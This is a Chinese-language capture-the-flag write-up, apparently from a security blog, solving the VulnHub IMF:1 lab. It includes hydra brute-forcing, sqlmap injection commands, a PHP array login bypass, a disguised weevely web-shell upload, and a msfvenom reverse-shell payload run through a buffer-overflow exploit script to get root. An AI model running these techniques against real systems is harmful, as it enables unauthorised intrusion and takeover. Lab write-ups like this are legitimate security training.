前言
IMF 是VulnHub发布的一个WEB靶场,难易程度:难
靶场下载地址:https://www.vulnhub.com/entry/imf-1,162/
打靶记录
信息收集
首先使用nmap探测存活ip
![图片[1] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-37.png)
确定靶机地址为192.168.100.151,扫描靶机开放端口
![图片[2] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-38.png)
发现了80端口,访问一下网站
![图片[3] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-39-1024x549.png)
在contactus源码中发现了第一个flag
![图片[4] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-40.png)
flag的内容是经过base64加密的我们解密得到如下内容allthefiles
![图片[5] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-41-1024x341.png)
暂时没有发现用处先记录一下
在此页面源代码中发现有些JS的名字不太对,像是base64加密过得,我们解密一下
![图片[6] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-42-1024x419.png)
解密第一个发现了flag2开头的字段,那看来是三个文件名拼接起来解密应该能确定第二个flag
![图片[7] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-43-1024x288.png)
将flag2的内容再次base64解密
![图片[8] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-44-1024x272.png)
这个内容有点像个目录,我们访问一下
![图片[9] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-45-1024x320.png)
查看源码有提示
![图片[10] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-46-1024x262.png)
中文意思如下:我无法让SQL工作,所以我硬编码了密码。它仍然疯狂地安全通过
漏洞利用
尝试使用SQLMAP没有跑出来结果,如果输入错误的用户名,会提示不存在用户名,可以通过这个来猜解用户名。
![图片[11] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-47-1024x402.png)
之前我们在contact.php界面中,看到三个人员的名字,把它们分别带进去试一下
![图片[12] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-48-1024x409.png)
经过测试rmichaels用户名存在,尝试一下爆破密码能不能爆破出来
hydra -l rmichaels -P /usr/share/wordlists/rockyou.txt 192.168.100.151 http-post-form "/imfadministrator/:user=^USER^&pass=^PASS^:error"
![图片[13] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-49-1024x434.png)
但是奇怪的是获得的所有密码都是登录失败的,我们使用bp拦截一个登录的数据包看看
![图片[14] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-50-1024x557.png)
提示说明对于参数输入的内容进行了处理,那这里sql注入可以不用想了,这里我们可以利用PHP数组绕过一些函数,试一试后台是不是使用了不安全的函数进行密码验证,php中可以使用数组绕过的函数有如下函数(不包含全部)
sha1
MD5
ereg
strpos
strcmp
![图片[15] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-53-1024x393.png)
获得flag3,尝试base64解码
![图片[16] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-51.png)
获得明文continueTOcms,在获取flag3的地方,还有个PHP链接
![图片[17] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-54-1024x435.png)
我们将刚刚那个抓的包pass修改为数组之后然后放包
![图片[18] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-52-1024x343.png)
![图片[19] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-55-1024x230.png)
接着继续访问IMF CMS
![图片[20] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-56-1024x445.png)
找了一下并没有发现什么,修改了一下参数,发现mysql报错了,看来有sql注入
![图片[21] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-57-1024x337.png)
使用sqlmap跑一下
sqlmap -u "http://192.168.100.151/imfadministrator/cms.php?pagename=home" --cookie "PHPSESSID=2t9l1diujnm2fvesbeue7fbc64" --batch
![图片[22] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-58-1024x352.png)
发现有注入点
爆破库
sqlmap -u "http://192.168.100.151/imfadministrator/cms.php?pagename=home" --cookie "PHPSESSID=2t9l1diujnm2fvesbeue7fbc64" --dbs --batch
![图片[23] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-59.png)
爆破表
sqlmap -u "http://192.168.100.151/imfadministrator/cms.php?pagename=home" --cookie "PHPSESSID=2t9l1diujnm2fvesbeue7fbc64" -D admin --tables --batch
![图片[24] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-60.png)
爆破数据
sqlmap -u "http://192.168.100.151/imfadministrator/cms.php?pagename=home" --cookie "PHPSESSID=2t9l1diujnm2fvesbeue7fbc64" -D admin -T pages --dump --batch
![图片[25] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-61-1024x258.png)
发现目录下的一个文件访问
![图片[26] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-62.png)
图片中发现一个二维码扫一下发现flag4
![图片[27] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-63.png)
解码flag4 uploadr942.php
访问是一个文件上传界面
![图片[28] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-64.png)
经过测试可以上传jpg、png、gif等文件,使用php一句话木马上传文件,靶机使用waf对eval()等函数进行了过滤,需要做一个绕过waf等检查机制,使用weevely生成一个PHP马
![图片[29] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-65-1024x356.png)
将木马的后缀改为.png或者.jpg进行拼接,上传,需要服务器开启.htaccess,因为该后门依赖于在.htaccess中使web服务器对图片文件进行php解析,测试发现靶机不支持,我们可以使用gif89a文件头欺骗。
![图片[30] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-66-1024x249.png)
上传成功
![图片[31] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-67-1024x368.png)
查看网页源代码,获得gif文件上传到服务器的文件名233ead3c036f
![图片[32] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-68-1024x492.png)
访问一下看看
![图片[33] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-69-1024x417.png)
上传成功weevely连接
![图片[34] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-70-1024x348.png)
获得www-data权限
下面就获得了flag5
![图片[35] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-71.png)
解码获得提示agentservices
![图片[36] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-72-1024x279.png)
提权
提示为代理服务器,通过提示在靶机中搜寻agent运行的文件
![图片[37] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-105.png)
这俩个目录下有agnet文件
进入bin目录,发现两个文件
![图片[38] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-74.png)
agnet是ELF 32位执行文件
![图片[39] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-75-1024x67.png)
access_log提示SYN 7482,8279,9467
![图片[40] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-76.png)
提示端口试探,使用knock命令试探一下
查一下端口发现服务器运行7788应该是agent的端口了
但之前nmap并没有扫到,端口试探应该是针对这个端口的
![图片[41] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-77.png)
下面使用nmap扫描就发现了7788端口
![图片[42] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-78.png)
nc连接一下看看,需要使用到agent ID
![图片[43] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-79.png)
将agent文件下载到本地
![图片[44] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-80.png)
![图片[45] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-81.png)
在fgets初随便输入内容,strncmp函数进行将我们输入的内容和agent ID进行对比在此我们获得agent ID 48093572
执行agent,输入正确的agent
![图片[46] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-82.png)
获得三个选项
1、提取分
2、请求提取
3、提交报告
看来通过缓冲区溢出agent进程,获得root权限了
为agent进程创建一个shell
使用msfvenom创建一个shellcode
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.16.129 LPORT=6666 -b “\x00\x0a\x0” -f python -o 2.py
-p 选择payload(此次因为agent是32位,所以使用X86
LHOST 、LPORT 监测主机IP和端口
-b 在生成的程序中避免出现的值
\x00 == 0x00 ASCII控制字符表中对应 NULL (空字符)
\x0a == 0X0a ASCII控制字符表中对应 LF (换行键)
\x0b == 0x0b ASCII控制字符表中对应 VT (垂直定位符号)
-f 指定生成xxx格式
-o 输入路径和文件
![图片[47] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-106.png)
使用如下连接的脚本(https://raw.githubusercontent.com/jessekurrus/agentsploit/master/agentsploit.py)
将生成的内容替换为python脚本内容
![图片[48] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-107.png)
nc监听6666端口
执行python脚本
![图片[49] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-108.png)
反弹shell,获得root权限
![图片[50] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-109.png)
获得flag6
![图片[51] - 【靶机实战】VulnHub IMF:1 打靶记录 - 极核GetShell](https://get-shell.com/wp-content/uploads/2024/04/image-110.png)
- 最新
- 最热
只看作者